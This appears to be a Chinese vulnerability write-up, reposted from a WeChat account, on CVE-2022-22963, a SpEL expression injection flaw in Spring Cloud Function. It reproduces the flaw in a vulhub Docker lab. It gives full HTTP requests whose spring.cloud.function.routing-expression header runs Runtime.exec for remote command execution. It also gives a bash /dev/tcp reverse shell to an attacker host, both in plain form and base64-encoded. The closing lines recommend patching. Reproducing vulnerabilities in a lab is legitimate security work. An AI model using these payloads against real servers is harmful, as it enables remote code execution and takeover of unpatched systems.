Spring Cloud Function是基于Spring Boot 的函数计算框架(FaaS),当其启用动态路由functionRoute时,HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,恶意攻击者可通过此漏洞发送恶意请求,在服务器执行任意代码。
3.0.0.M3 <= Spring Cloud Function <=3.2.2
本次使用vulhub搭建本地测试环境进行复现:
第一步,执行以下命令,将vulhub环境拉取到本地。
git clone https://github.com/vulhub/vulhub
第二步,执行以下命令,启动服务。
cd vulhub-master/spring/CVE-2022-22963
docker-compose up -d
第三步,执行docker ps命令查看容器运行状况
第四步,访问http://your-ip:8080,至此环境搭建完成。
1.通过HTTP请求头spring.cloud.function.routing-expression参数存在的SPEL表达式执行任意命令
首先,使用Burpsuite工具构造如下数据包:
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4
test
执行以下命令进入Docker容器,可以看到成功在tmp目录下创建了success文件:
docker-compose exec spring bash
2.利用此漏洞反弹shell
攻击机kali监听6666端口
bash反弹shell的命令如下:
bash -i >& /dev/tcp/192.168.150.191/6666 0>&1
使用Burpsuite工具的Decoder模块进行base64编码。
编码后为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xOTEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
构造如下数据包,将编码后的命令作用到spring.cloud.function.routing-expression头中包含的SpEL表达式上。
POST /functionRouter HTTP/1.1
Host: 192.168.150.191:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xOTEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 8
test
成功获取shell
目前官方已针对此漏洞发布安全补丁和新版本修复,请受影响的用户尽快更新进行防护。下载链接:
https://github.com/spring-cloud/spring-cloud-function/tags
原文始发于微信公众号(第59号):CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论